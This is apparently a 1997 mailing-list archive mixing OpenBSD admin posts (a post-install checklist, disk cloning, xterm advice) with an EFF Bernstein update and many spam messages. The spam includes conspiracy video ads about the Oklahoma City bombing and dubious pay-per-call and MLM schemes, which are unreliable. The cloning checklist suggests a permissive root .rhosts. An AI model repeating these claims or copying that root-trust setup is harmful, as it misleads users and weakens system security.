      Interface
      default            192.168.4.254      UGS         0 11098028      -  le0
      127                127.0.0.1          UGRS        0        0      -  lo0
      127.0.0.1          127.0.0.1          UH          3       24      -  lo0
      192.168.4          link#1             UC          0        0      -  le0
      192.168.4.52       8:0:20:73:b8:4a    UHL         1     6707      -  le0
      192.168.4.254      0:60:3e:99:67:ea   UHL         1        0      -  le0

      Fix via editing /etc/mygate, and using "route delete" and "route add"
      if you do not wish to reboot.
   d) If using the Bind Name Server (DNS), check /etc/resolv.conf.
      It might look something like:
	  domain nts.umn.edu
	  nameserver 128.101.101.101
	  nameserver 134.84.84.84
	  search nts.umn.edu. umn.edu.
      If using a caching name server add the line "nameserver 127.0.0.1" first.
      (Of course, you need to change "named_flags" in /etc/rc.conf and add
      the named.boot file in the appropriate place.  Same holds true if this
      is the name server for you domain.  Also make sure "named" is running.
      [Otherwise there are long waits while timeouts happen.])
   e) If using "NIS" (old yellow pages), check "domainname" and edit
      /etc/defaultdomain to correct.

[Will someone else fill in more here.  I refuse to use this package.]

6) Check disks correct.
   a) cat /etc/fstab
   b) df
   Edit "/etc/fstab" and "umount" and "mount" as necessary.  (See man pages.)
   c) You may want to do NFS partitions later, but you may do them now.
   d) If you are using concatenated disks, edit /etc/ccd.conf and use
      "ccdconfig -U" and "ccdconfig -C" till you have it correct.
      ("umount" and "mount" and edit /etc/fstab as needed.)
   e) Go into the "amd" directory if using this package.

[Will someone else fill in more here.  I do not use this package.]

7) The system should be usable now, but you may with to do more customizing,
   adding of users, etc.  Many sections may be skipped if you are not using
   that package (for example kerberos!).  My suggestions are to go into
   /etc ("cd /etc") and:
   a) Edit motd to make lawyers comfortable and make sure that no mention
      of the word "Welcome" appears.  (Some U.S. lawyers have stated that
      the word "Welcome" is an invitation to come on in.)
   b) Add users.  There is a "adduser" script.
      You can use "vipw", and edit "/etc/group" if you desire.  Make sure to
      put people in "/etc/group", under the "wheel" group if they need root
      access (non-kerberos).  Something like:
	wheel:*:0:root,m4
   c) Check for any local changes needed in /etc/rc.conf, /etc/netstart,
      /etc/rc.local, rc.securelevel..  Turning on something like the
      Network Time Protocol in /etc/rc.local and /etc/rc.securelevel requires:
      A) Making sure the package is installed.
	 (see http://www.openbsd.org under "Ports: a Nice Way to Get
	 Third-Party Software).
      B) Uncommenting the lines in rc.local (delete the # signs).
	 if [ -f /usr/local/etc/httpd/httpd ]; then
	       echo -n ' httpd';       /usr/local/etc/httpd/httpd
	 fi
      C) Uncommenting the lines in rc.securelevel (delete the # signs).
	 if [ -x /usr/local/sbin/xntpd ]; then
	       /usr/local/sbin/tickadj -Aq
	       echo -n ' xntpd';       /usr/local/sbin/xntpd
	 fi
   d) Edit /etc/printcap and /etc/hosts.lpd to get printers set up.
   e) You might want to tighten up security by editing:
	  fbtab           Set security for X -- when you install X ... .
	  inetd.conf      Turn off extra stuff, add that which is really needed.
   f) Go into /etc/kerberosIV and configure kerberos.  Remember to get a srvab.
   g) Edit /etc/aliases.  Set postmaster, etc.  Run newaliases after changes.
   h) If this is a bootp server, edit /etc/bootptab.  You will have to turn
      it on in /etc/inetd.conf, or run "bootpd" in stand-a-lone mode.
   i) If this is an NFS server
      A) make sure /etc/rc.conf has "nfs_server=YES".
      B) Edit /etc/exports and get correct.
      It is probably easier to reboot than get the daemons running, manually,
      but you can get the order correct by looking at /etc/netstart.
   j) Edit /etc/rbootd.config if needed for remote booting (ethernet MAC address
      to IP tranlation).
   k) Look at and possibly edit the /etc/daily, /etc/weekly, and /etc/monthly
      scripts.  Your site specific things should go in /etc/daily.local,
      /etc/weekly.local, and /etc/monthly.local.
   l) Look at the other files in /etc and edit as needed.
      (Do not edit files ending in ".db" -- like aliases.db, pwd.db, spwd.db,
      nor localtime, nor rmt, nor any directories.)

8) Check what is running via crontab "crontab -l".
   Do you need anything else?  Do you wish to change things?  For example:
	30  1  *  *  *   /bin/sh /etc/daily 2>&1 > /var/log/daily.out 
	30  3  *  *  6   /bin/sh /etc/weekly 2>&1 > /var/log/weekly.out 
	30  5  1  *  *   /bin/sh /etc/monthly 2>&1 > /var/log/monthly.out 

9) After the first nights security run, change ownerships and permissions
   on things.  Best bet is to have permissions as in the security list
   (the first of the two listed permissions, and the first group number of
   the two).  Use "chmod" and "chgrp" as needed.

10) Install packages to make the system more useful.
   A) Install your own.  Easiest way is to copy source and compile it.
   B) Copy vendor binaries and install them.  You will need to install any
      shared libraries, etc. (hint: "man -k compat")
   C) Install any of a large number of Third-Party Software that is available
      in source form.  (See http://www.openbsd.org under "Ports: a Nice Way
      to Get Third-Party Software).
   You may have "fun" installing due to various compiling errors.  Don't
   get discouraged easily!  Sometimes checking the mailing lists for past
   problems that people have encountered will result in a fix posted.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tobias Weingartner <weingart@natasha.brandonu.ca>
Date: Thu, 16 Oct 1997 14:00:08 -0700 (PDT)
To: "Matthew E. Patton" <pattonme@gnpr.pae.osd.mil>
Subject: Re: kernal timezone options
In-Reply-To: <199710161400.KAA04735@gnpr.pae.osd.mil>
Message-ID: <12041.877024993@natasha.brandonu.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Thursday, October 16, "Matthew E. Patton" wrote:
> I'm not having much luck figuring out what values exist for the TIMEZONE and
> DST kernel options. The default is 0 and 0 which puts my machine off by about
> 4 hours. The installation routine put in the proper link to US/Eastern or on
> another box EST5EDT. This apparently is insufficient to get the date command
> to behave. Incorrect time obviously impacts the entire system.
> 
> My bios clock is right on. So where are the integers defined that correspond
> to the various zoneinfo files? This is definately man page material.

Right on what?  You see, the bios clock should be in UCT time...
Just to complete things, TIMEZONE is in minutes, and DST is a flag,
set to 1 if the bios clock does DST time.  At least I believe that is
how it works...

--Toby.
*----------------------------------------------------------------------------*
| Tobias Weingartner | Email: weingart@BrandonU.Ca | Need a Unix sys-admin?  |
| 6B-1137 Lorne Ave. |-----------------------------| Send E-Mail for resume, |
| Brandon, Canada    | Unix Guru? Admin, Sys-Prgmr | and other details...    |
|----------------------------------------------------------------------------|
|      %SYSTEM-F-ANARCHISM, The operating system has been overthrown         |
*----------------------------------------------------------------------------*






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Daniel Colpi <colpi@biotest.bio.purdue.edu>
Date: Thu, 16 Oct 1997 14:13:52 -0700 (PDT)
To: misc@openbsd.org
Subject: Checklist
Message-ID: <199710161850.NAA17808@biotest.bio.purdue.edu>
MIME-Version: 1.0
Content-Type: text/plain




Greetings and Salutations,

A few days ago, I asked for help in making a step by step list on how
to "copy" OpenBSD from one computer to another.  Well I got a few 
answers, but many people wanted me to post this list when I was done.
So this is it, a mindless checklist of everything I did to "convert 
a DEC 3100 to the Dark Side"

If you can think of something I have missed, please throw me an e-mail.

Thanks

Daniel Colpi
colpi@purdue.edu


======================================================================

So, you want another OpenBSD computer hu?
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
(assuming same disk setup, target is disk #0, and source is disk #1)
(also assuming rrz0a -> /    ; rrz0c -> swap
               rrz0d -> /usr ; rrz0e ->/usr/target  )
(Note: I am on a /bio backbone, this isn't going to be the same for you)
(Note: /bio/scratch3 is a temp space that I can write to)

___Save Files
   ___dump root to scratch (just in case)
                             -->% dump -0f /bio/scratch3/dump /dev/rrz0a
   ___/etc/passwd --> % mv /etc/passwd /bio/scratch3/passwd.target
   ___/etc/crontab
      ___any self created scripts you made to run with crontab
   ___/etc/fstab
   ___/usr/local/etc/mk-exports
   ___/etc/export.hosts
   ___/etc/export.fs.[n]
      (if you have a drive that is set up the way you want for target
      machine, you might want to save it to a file to save you some
      time)
      (Note: you might want to do this on a machine that is already
             converted)
   ___save your partition list  -->% disklabel -r /dev/rrz1a >> temp_part
                                   % mv temp_part /bio/scratch3
___Shut down target
___Connect source drive
___Make sure drives are jumpered not to conflict (target=>0 ; source=>1)
___Plug in and power up
   ___Make sure clock is right time (some old computers lose some time)
   ___Make sure you see both drives (ie drive 1 & drive 0)
___Run disklabel  (I had drouble labeling the disk, but this worked)
        -->% disklabel -r /dev/rrz1a >> temp
           % disklabel -B -R /dev/rrz0a temp
           % disklabel -e /dev/rrz0a
   ___ / = _______________
   ___ swap = ____________
   ___ /usr = ____________ / ______________ (target / source)
                                            (remove src if desired)
   ___ /usr/target = _______________
        (if you have a "cookie-cut" version you can just:)
        -->% disklabel -B -R /dev/rrz0a /bio/scratch3/temp_part
___Run newfs  -->% newfs /dev/rrz0[ad]
___Transfer files
          --->% mount /dev/rz0a  /mnt
              % cd /mnt
              % df -k .     (make sure enough room)
              % df -k /
              % dump 0f - /dev/rrz1a | restore -rf -
              % rm restoresystable   (if you don't do this you'll be sorry)
              % cd /
              % umount /mnt
              % mount /dev/rz0d  /mnt                ---+
              % cd /mnt                                 |
              % df -k .                                 |  Repeate this 
              % dump 0f - /dev/rrz1d | restore -if -    |   section if
      restore > add [all dir's you want to keep]        |     needed
      restore > extract                                 |       on
      restore > set owner/mode for /./? [yn] n          |     other
      restore > quit                                    |   partitions
      (Note: it will say "DUMP not completed" if you    |
       did not restore everything.  This is not a bad   |
       thing, ignore it)                                |
              % rm restoresystable (might not be there) |
              % cd /                                    |
              % umount /mnt                          ---+
___Configure  (BE CAREFUL to configure /mnt/etc  NOT /etc !!!!)
   ___mount /usr --->% mount /dev/rz0d  /mnt
   ___remove /mnt/etc/npt.drift
   ___make dir /mnt/usr/preserve
   ___replace all scripts made to be run by crontab
   ___move /bio/scratch3/mk-exports /mnt/usr/local/etc/mk-exports
   ___umount /mnt
   ___mount /   --->% mount /dev/rz0a /mnt
   ___replace rest of scripts to be used by crontab
   ___move /bio/scratch3/export.hosts /mnt/etc/export.hosts
   ___move /bio/scratch3/export.fs.[n] /mnt/etc/export.fs.[n]
   ___hostname
      ___/mnt/etc/hostname.le1
      ___/mnt/etc/exports        (or run /usr/local/etc/mk-exports)
      ___/mnt/etc/hosts  (change IP number too)
      ___/mnt/etc/myname
   ___/mnt/etc/rc   (maybe not if (flavor == vanilla))
   ___/mnt/etc/mygate
   ___/mnt/etc/passwd
      ___/usr/local/bin/tcsh (OpenBSD doesn't come with tcsh)
      ___reconfigure passwd file (for correct format)
          __ % mv /bio/scratch3/passwd.target /mnt/etc/passwd.orig
    same /   % nawk -F: ' { print $1 FS $2 FS $3 FS $4 "::0:0:" $5 FS \
    line \__ $6 FS $7 } ' /mnt/etc/passwd.orig >> /mnt/etc/passwd
             % pwd_mkdb -c /mnt/etc/passwd
             % pwd_mkdb -d /mnt/etc/ /mnt/etc/passwd
             % pwd_mkdb -d /mnt/etc/ -p /mnt/etc/passwd
             % chmod 600 /mnt/passwd.orig
   ___do you want permissive /mnt/root/.rhosts (bilbo root ; gimli root)
   ___how about cooperative /mnt/etc/ttys   (%s/network/network secure)
   ___if your source machine boots off disk 1 and target boots off
      disk 0, you need to make sure the correct kernal is at /mnt/bsd
   ___umount /mnt
___Power down
___Remove source drive
___Correct jumpers if nessary
___Power up
___Before starting OpenBSD at Boot Ram type:
        >> printenv
        >> setenv bootpath rz(0,0,0)/bsd
___Boot off of target disk
   ___restore user file system
      --->% cd /usr/target
          % rsh bilbo ls /usr/amanda/\*
       __    (now in order)
 same /   % rsh bilbo cat /usr/amanda/target.date.[0->(n-1)] \
 line \__   < /dev/null | resore -rf -
             (now when done with above loop (IN ORDER!!!!!))
          % rm restoresystable
   ___recreate crontab
      --->% crontab -e
___Checks
   ___ping source machine (to make sure not same IP addresses)
   ___run ntpq -p 
   ___finger @localhost
   ___finger @target
   ___cd into /bio/scratch3/
   ___run date
   ___telnet to target from another machine
   ___ftp one file from another machine
   ___cd to /bio/target from another machine
___Go home early

Nessary Tools:
===============
   Screwdrivers (if internal drives)
   Postit-notes (for keeping drives straight)
   One hell of a lot of coffee




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Daniel Colpi <colpi@biotest.bio.purdue.edu>
Date: Thu, 16 Oct 1997 16:24:46 -0700 (PDT)
To: misc@openbsd.org
Subject: Collisions
Message-ID: <199710161857.NAA24899@biotest.bio.purdue.edu>
MIME-Version: 1.0
Content-Type: text/plain



Greetings and Salutations,

Does anyone know of where I can get some sort of window to "catch"
all of the system mess. while xdm is running?  There are a lot of
collisions that happen, and they mess up the screen with error mess.
The people who use these computers assume the this is broke.

Any ideas?

Thanks,
Daniel Colpi
colpi@purdue.edu





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "daniel.t.colpi.1" <colpi@purdue.edu>
Date: Thu, 16 Oct 1997 15:33:21 -0700 (PDT)
To: "Angelos D. Keromytis" <angelos@dsl.cis.upenn.edu>
Subject: Re: Collisions
In-Reply-To: <199710162025.QAA15381@adk.gr>
Message-ID: <Pine.SOL.3.96.971016152706.10069A-100000@herald.cc.purdue.edu>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 16 Oct 1997, Angelos D. Keromytis wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> 
> 
> In message <199710161857.NAA24899@biotest.bio.purdue.edu>, Daniel Colpi writes:
> >
> >Does anyone know of where I can get some sort of window to "catch"
> >all of the system mess. while xdm is running?  There are a lot of
> >collisions that happen, and they mess up the screen with error mess.
> >The people who use these computers assume the this is broke.
> 
> Just open a console window xterm.
> - -Angelos
> 

Won't that open a window logged in as root?

Daniel Colpi
colpi@purdue.edu
==================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: globaladventures@alluwant.com
Date: Thu, 16 Oct 1997 12:45:48 -0700 (PDT)
To: globaladventures@alluwant.com
Subject: Discount Full-Service Travel
Message-ID: <199710161945.MAA00581@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



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///////////////////////////////////////////////////////////////////////////////////////////

If you would like to be taken off our mailing list....please hit reply and type the word 'remove' in the subject field and you will be omitted from Global Adventures future mailings....

///////////////////////////////////////////////////////////////////////////////////////////





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Angelos D. Keromytis" <angelos@dsl.cis.upenn.edu>
Date: Thu, 16 Oct 1997 15:33:24 -0700 (PDT)
To: Daniel Colpi <colpi@biotest.bio.purdue.edu>
Subject: Re: Collisions
In-Reply-To: <199710161857.NAA24899@biotest.bio.purdue.edu>
Message-ID: <199710162025.QAA15381@adk.gr>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In message <199710161857.NAA24899@biotest.bio.purdue.edu>, Daniel Colpi writes:
>
>Does anyone know of where I can get some sort of window to "catch"
>all of the system mess. while xdm is running?  There are a lot of
>collisions that happen, and they mess up the screen with error mess.
>The people who use these computers assume the this is broke.

Just open a console window xterm.
- -Angelos

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Angelos D. Keromytis" <angelos@dsl.cis.upenn.edu>
Date: Thu, 16 Oct 1997 15:40:28 -0700 (PDT)
To: "daniel.t.colpi.1" <colpi@purdue.edu>
Subject: Re: Collisions
In-Reply-To: <Pine.SOL.3.96.971016152706.10069A-100000@herald.cc.purdue.edu>
Message-ID: <199710162028.QAA29984@adk.gr>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In message <Pine.SOL.3.96.971016152706.10069A-100000@herald.cc.purdue.edu>, "da
niel.t.colpi.1" writes:
>
>Won't that open a window logged in as root?
>

Nope (unless you have some weird setup -- can't imagine how).
- -Angelos

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BFCby6/uhwo=
=ajka
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Andreas Brusinsky <brusinsk@ibdr.inf.tu-dresden.de>
Date: Thu, 16 Oct 1997 11:51:38 -0700 (PDT)
To: OpenBSD <misc@openbsd.org>
Subject: Perl 5.00401, gcc 2.7.2.3 ..
Message-ID: <Pine.OSF.3.91.971016173501.10011A-100000@ibdr120.inf.tu-dresden.de>
MIME-Version: 1.0
Content-Type: text/plain



It was told in the mailinglists that with
the integration of the gnu utillities into the source tree
it is easy to keep up with changes of their utillities.

So what is the reason to stay on little elder versions of
perl and gcc?

Shouldn't gcc 2.7.2.3 and perl 5.00401 be within the source tree?

Why are they not?

Does the source tree really depend on the 'old' perl?

I got somehow the impression that gcc is a special adapted version
so I could understand that this is not integrated but perl?

Or am I utterly wrong because perl is a kind of compiler and gcc is a kind
of compiler so they dont need to be chaged becaus they work and may be more
fixed than real gcc/perl and utillities that demand perl5.00401 can
just be twiddled to use OpenBSD/perl ..

Thanks for comments.
 
        Bye   Brusi

            by           E-Mail: ab2@inf.tu-dresden.de
                         Tel.-priv: 0351-8499347 (Germany/Dresden)
          \____





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: scannmann@nevwest.com
Date: Thu, 16 Oct 1997 19:30:36 -0700 (PDT)
To: scannmann@nevwest.com
Subject: Information Security Policies
Message-ID: <199710170230.TAA20526@nevwest.nevwest.com>
MIME-Version: 1.0
Content-Type: text/plain



Security Policies To Go!

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Thu, 16 Oct 1997 20:47:01 -0700 (PDT)
To: bernstein-announce@toad.com
Subject: Bernstein case update: Government appeal brief filed
Message-ID: <199710170305.UAA03381@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


The government has filed its 81-page "brief" with the Ninth Circuit
Court of Appeals in the Bernstein case.  They argue that the export
controls are "constitutionally permissible", that they are not a
facially unconstitutional prior restraint on publication, and that the
District Court gave Prof. Bernstein "too broad" relief by declaring
the law and regulations unconstitutional and partially enjoining their
enforcement.

The brief has been scanned in as page images, and is at:

	http://www.eff.org/pub/Legal/Cases/Bernstein_v_DoS/Legal/970116_appeal_brief.images/

Prof. Bernstein's legal team will file its reply by November 10, the
government will reply by November 17, the Court will hold a formal
hearing sometime during the week of December 8, then the Court will
issue its decision.

	John Gilmore
	Electronic Frontier Foundation




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremy Rusnock <jeremy@microserve.net>
Date: Thu, 16 Oct 1997 22:05:50 -0700 (PDT)
To: Multiple recipients of list <feedback@microserve.net>
Subject: Free Internet Seminar
Message-ID: <Pine.UW2.3.95.971017000042.9345B-100000@reality>
MIME-Version: 1.0
Content-Type: text/plain


Dear MIS Subscriber,

MicroServe will be holding a basic Internet seminar on Tuesday, October
21st at teh Woodlands Inn and Resort in Wilkes-Barre, PA.  There will be
two sessions from which to choose, 1:00pm to 4:00pm or 6:00pm to 9:00pm.

We will be covering basic services such as email, ftp, world wide web, and
usenet news.  We will also provide information about the internet itself -  
how it started, where it's going, etc.  Everyone is welcome (whether an 
MIS customer or not), so tell your friends and family.

Again, this is a basic seminar.  We will not be covering advanced topics
such as web page creation or cgi programming.  So if you are an advanced
user already, this might not be the seminar for you.  We are considering 
advanced seminars in the not too distant future.

If you would like to register or if you have any questions, please call
Mike Siconolfi at 821-5964 x21.

Thank You,
Jeremy Rusnock

~-----------------------------------------------------------------------
Jeremy Rusnock                      MicroServe Information Systems, Inc.
Commercial Sales/CSM/Security          	100 North Wilkes-Barre Boulevard
jeremy@admin.microserve.net             Wilkes-Barre, Pennsylvania 18702
http://www.microserve.net/~jeremy    (800)380-INET x23 (717)821-5964 x23
------------------------------------------------------------------------
Free on Saturday? Play Ultimate. See http://www.microserve.net/~frisbee.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hans Guenter Weigand <hgweigand@wiesbaden.netsurf.de>
Date: Thu, 16 Oct 1997 19:23:11 -0700 (PDT)
To: <announce@openbsd.org>
Subject: New Mac68k snapshot available
Message-ID: <m0xLz3e-001lmBC@wiesbaden.netsurf.de>
MIME-Version: 1.0
Content-Type: text/plain


The second snapshot for mac68k is available at the usual locations. This 
time the newest installation tools are included. The errata of the first 
snapshot have been fixed. Please report all errors, problems, failure, 
and (of course:) success to Theo de Raadt or at least to the appropriate 
mailing list.

Thanks to Allen, Rodney and Thomas for the last-minute-help!

hgw




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: kndpblsh@mail4.c-flash.net
Date: Fri, 17 Oct 1997 02:19:22 -0700 (PDT)
To: pinkfldfan@hotmail.com
Subject: none
Message-ID: <kndpblsh@mail4.c-flash.net>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Charlie Root <root@dragon.pdmi.ras.ru>
Date: Thu, 16 Oct 1997 16:20:38 -0700 (PDT)
To: tech@openbsd.org
Subject: Re: Documentation
Message-ID: <199710162046.AAA26325@dragon.pdmi.ras.ru>
MIME-Version: 1.0
Content-Type: text


> >In the coming weekend, I'll be updating the newuser FAQ
> >(for things like PPP and 2.2). I'm sure a post-install checklist would be
> >a welcome addition.
> >
> >B U T . . . .
> >
> >Not everyone runs things like Kerberos or DNS. Keep in mind that many
> >people use OpenBSD for many things and in many environs. The OpenBSD setup
> >on my firewall at the office is much different than the Sparc, Alpha, and
> >P5/133 I run it on at home. The setup on my router machine at home is also
> >much different than the other machines in my house. There are ways people
> >have setup OpenBSD on embeded systems to do things like manage the
> >fuel/air mix ratio on their Corvettes (OK, one person I know of planned
> >that, but couldn't get the financing for the car...) I hope that draws the
> >picture.
> >
> >As for the verification after install, that is sort of "auto-manditory"--
> >if a filesystem isn't mounted right, /etc/fstab has to be checked out. If
> >the network doesn't work, the network files must be examined to "make it
> >go." As oopposed to attacking this as a checklist, how about it is
> >attacked as "If networking doesn't work, check hostname.(interface)"-- but
> >there is more to that then just files in /etc (boot -c in order to
> >reconfigure hardware addresses)
> 
> As a user of OpenBSD, and having tried to manage projects with it for
> implementation of added features for customers...I could not agree with
> the above position.
> 
> You see, if you are ALREADY familiar with OpenBSD then you will most likely
> know exactly what to do when installing and seting up a system. New User's
> Notes / Installation Checklist's will most likely be ignored by you.
> 
> However, if you are brand new to the system, then an Installation / Setup
> Checklist (a good one) will prove to be essential. Wouldn't it be great if
> just about every post to these groups from a new user was one like "..hey!
> This OpenBSD thingy works great! The installation was a snap!.." or something
> like that.  We all know that hardly happens now...but, it could.....
> 
> I, for one, believe strongly that a good 'Overview', 'Setup Notes' and 'Installation
> Checklist' must somehow find it's way into the distribution. It is also clear
> that the machine / arch specific differences will require unique versions
> for each.

I completly agree with you. Just anoze topic that i can add is installation 
procedure,especially disk partitoning. It's a very dungerous/important 
procedure but it's description ins INSTALL.i386 is a bit too short and 
need examples(espcially). Something like - "Imagine we have disk with 
such and such patitions and now we want to install OpenBSD here & there so 
we should... It would'be _very_ helpfull.

BTW, does anybody work on installation software ? Something like in FreeBSD/RedHat ?

Alexey Pialkin




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: web-promotions@nevwest.com
Date: Fri, 17 Oct 1997 17:35:41 -0700 (PDT)
To: web-promotions@nevwest.com
Subject: Make 6 cents per click!!
Message-ID: <199710171700.KAA17835@tropicana.nevwest.com>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Selective.Marketing@eiu.edu
Date: Sat, 18 Oct 1997 00:22:44 -0700 (PDT)
To: jlk@aol.com
Subject: Here It Is !!
Message-ID: < >
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: stargazer@force2.net
Date: Sat, 18 Oct 1997 03:09:35 -0700 (PDT)
To: stargazer@force2.net
Subject: Left Brain / Right Brain QUESTIONAIRE
Message-ID: <199710181009.DAA08633@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


_________________________________________________
L E F T  B R A I N / R I G H T   B R A I N  -  QUESTIONAIRE
_________________________________________________

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 Yes [  ] -  No [  ] -  Maybe [  ]  - Didn't Know [  ]

 I know the sub-conscious part of my mind labors 24 hours a day 		
 (without sleeping)   for my success or failure, without making any 
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: biqa@uspacmall.com (USPACMALL)
Date: Fri, 17 Oct 1997 21:24:14 -0700 (PDT)
To: biqa@uspacmall.com
Subject: STOP Bad Breath Causing BACTERIA!!!
Message-ID: <199710172348PAA49601@joe@young.com.planet.ch>
MIME-Version: 1.0
Content-Type: text/plain


======================================================
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#




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pam@message4U.com
Date: Sun, 19 Oct 1997 10:14:36 -0700 (PDT)
To: pam@message4U.com
Subject: You Have The Right To Know...
Message-ID: <199710191656.JAA05642@nevwest.nevwest.com>
MIME-Version: 1.0
Content-Type: text/plain


Now Available...
___________________________________

The New Clinton Chronicles Video - $ 20.00

An Investigation Into The Alledged
Crimminal Activities Of Bill Clinton &
His Circle Of Friends/Associates...
____________________________________

The Death Of Vince Foster Video - $ 20.00

A Video On What Really Happened 
To Vince Foster...
____________________________________

Cover-Up In Oklahoma Video - $ 15.00

Live TV Coverage On This Video Proves
Government & Mainstream Media Did
Collaborate To Hide Info Murrah Building
Was Bombed From Within...By People
With Free Access Inside It...
____________________________________

Shipping & Handling - $ 3.00 Per Tape

SPECIAL - ALL 3 TAPES - $ 50.00

International Orders - Add $ 3.00 Per Tape
____________________________________


To Order By MasterCard/Visa:

Call (812) 949-2205 Mon-Fri
Noon - 8pm Eastern


To Order By Mail:

Send Check Or Money Order To:

" Tapes "
c/o Eli Stoltzfus
P. O. Box 2851
Clarksville, IN  47131


ALL ORDERS SHIPPED OUT
WITHIN 48 HOURS !


To Be Removed From Future Mailings
Reply To This Message - And Type
The Word Remove in Subject Area.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: emailing@tnlb.com
Date: Sat, 18 Oct 1997 22:33:02 -0700 (PDT)
To: emailing@tnlb.com
Subject: $1,000,000 For Christmas
Message-ID: <199710190532.WAA12728@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Just in Time For Christmas -

$1-Million Dollar Bills - Look Like The Real McCoy

Super Gift For the Hard-To-Shop-For on Your Christmas Shopping List 

Great Stocking Stuffer

Only $5.00 each - Three For $10.00 

To Order, Call 317-885-1357

Visa & MC Accepted.


*Dealer Inquiries Welcome


 If you wish to be removed from future mailings, please reply 
with the subject "Remove".




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: newsglob@tnlb.com
Date: Sat, 18 Oct 1997 23:33:42 -0700 (PDT)
To: newsglob@tnlb.com
Subject: Very important ! global minutes?
Message-ID: <199710190633.XAA13009@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


     MAKE SURE YOU ARE GETTING ALL THE MINUTES BEING
                       GENERATED TO YOUR NUMBERS
                           NOT JUST U.S. TRAFFIC!!   

 CHAT LINES FOR YOUR SITE OR ADVERTISE IN NEWSPRINT

Best customer service for your audiotext advertising needs.
Fill out the form here:   http://www.stsim.com/mdc/info/home.html
 Don't just stick with one service bureau ! you might not be getting 
 paid for all your global minutes ,most service bureaus are paying
you just for your U.S. traffic and keeping the rest this is how 
service providers make the most of their profit.

                  

PAYOUTS ARE ON THE 1st  AND ON THE 15th OF  EVERY MONTH.....

NUMBERS MUST BE DISPLAYED ON YOUR FRONT PAGE FOR BEST
RESULTS!!!!


      Top rates for 011- 592 / 1- 664 / 1- 809 / the international
      pay-per-call industry is bringing in millions upon millions each
      year.   Get in on the the 1+ dialing prefixes and watch your
     revenue increase.   Advertise by mass emailing, tv, web site,
     newsprint, magazine in any country!!!!  You the advertiser will
     get a flat rate paid to you for every minute generated on your
     line(s).  Your ad could look something like this.

           --------------------------------------------------------------------------------------------------------------
           The internet's all new interactive date line talk to people live
           or just listen in call now!  1-664-410-3348  Regular Long Distance Only.
          ---------------------------------------------------------------------------------------------------------------
          Talk to Hot Ladies Now!  1-644-410-3349.
          ---------------------------------------------------------------------------------------------------------------
          People looking to meet people call now  1-664-410-3350.
          ---------------------------------------------------------------------------------------------------------------




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pipai@big.or.jp
Date: Sun, 19 Oct 1997 12:16:36 -0700 (PDT)
To: pipai@big.or.jp
Subject: ATTENTION GOLFERS! PLAY GOLF AND GET PAID FOR IT!
Message-ID: <199710191926QAA16740@big.org>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE>Hello,  I work with a golf and travel company and we are looking for people that  would be interested in earning money playing golf while enjoying some incredible benefits.  While working <I>(or playing)</I>  with this business you  will  enjoy the  following:

¨ <I>Deducting  greens  fees, cart  fees, equipment, and club dues  from your income taxes,
¨ Working   from  the comfort of  your own  home over  the  telephone or on  the course,
¨ Accessing  discount  golf  trips  to  fantastic  golf  destinations  throughout   the  world,
¨ Purchasing   top - of - the - line  golf  equipment  at  below  discount   retailer   prices,
¨ Receiving  over 50  percent  off  greens  fees at  over 3000 courses across  the country,
¨ Having  access  to our outstanding  training  and  support system that insures success,
¨ Earning  an immediate   primary  or  secondary  income  doing   something   you  love,
</I>
As part of our Team, there are two primary ways to build your golf business.  You can either make a point to play a lot  more golf and talk with others about tremendous discounts on golf equipment,  golf travel packages, and our business, or I can teach you to build your entire business over the telephone from the comfort of your home via direct mail or mass Email.  The choice is yours.

The startup cost is between $500 to $800 depending on how you choose to operate your business and includes:  a small business tax package,  The Lifelinks Select Program,  an Antigua golf shirt with corporate logo,  The Fran Tarkenton Small Business Package, instructional golf video, The Golfers Travel Benefit Package,  product catalogs, audio tapes, golf hat, golf balls, an advertizing kit and many other collateral materials.   Our startup  and training packages were designed to give you everything you need to  operate a legitimate home-based golf business.

